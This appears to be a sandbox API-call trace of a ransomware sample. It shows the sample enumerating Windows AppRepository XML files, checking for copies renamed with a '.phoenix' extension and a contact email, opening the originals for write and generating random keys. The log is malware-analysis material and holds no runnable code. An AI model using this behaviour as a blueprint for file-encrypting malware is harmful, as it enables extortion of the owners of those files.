	[0250.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.889] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.889] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1034) returned 1
	[0251.024] CloseHandle (hObject=0x2d4) returned 1
	[0251.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.025] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.025] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.025] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17797) returned 1
	[0251.025] CloseHandle (hObject=0x2d4) returned 1
	[0251.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.025] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.025] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.025] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.027] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=852) returned 1
	[0251.027] CloseHandle (hObject=0x2d4) returned 1
	[0251.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.028] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.028] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18026) returned 1
	[0251.028] CloseHandle (hObject=0x2d4) returned 1
	[0251.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.028] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.029] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17890) returned 1
	[0251.029] CloseHandle (hObject=0x2d4) returned 1
	[0251.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.029] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10617) returned 1
	[0251.029] CloseHandle (hObject=0x2d4) returned 1
	[0251.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.030] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.030] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=97845) returned 1
	[0251.030] CloseHandle (hObject=0x2d4) returned 1
	[0251.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.030] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.030] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15531) returned 1
	[0251.030] CloseHandle (hObject=0x2d4) returned 1
	[0251.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.031] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.031] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15277) returned 1
	[0251.031] CloseHandle (hObject=0x2d4) returned 1
	[0251.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.031] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.032] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0251.032] CloseHandle (hObject=0x2d4) returned 1
	[0251.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.032] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.032] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0251.032] CloseHandle (hObject=0x2d4) returned 1
	[0251.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.033] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.033] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.033] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.033] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18619) returned 1
	[0251.033] CloseHandle (hObject=0x2d4) returned 1
	[0251.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.033] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
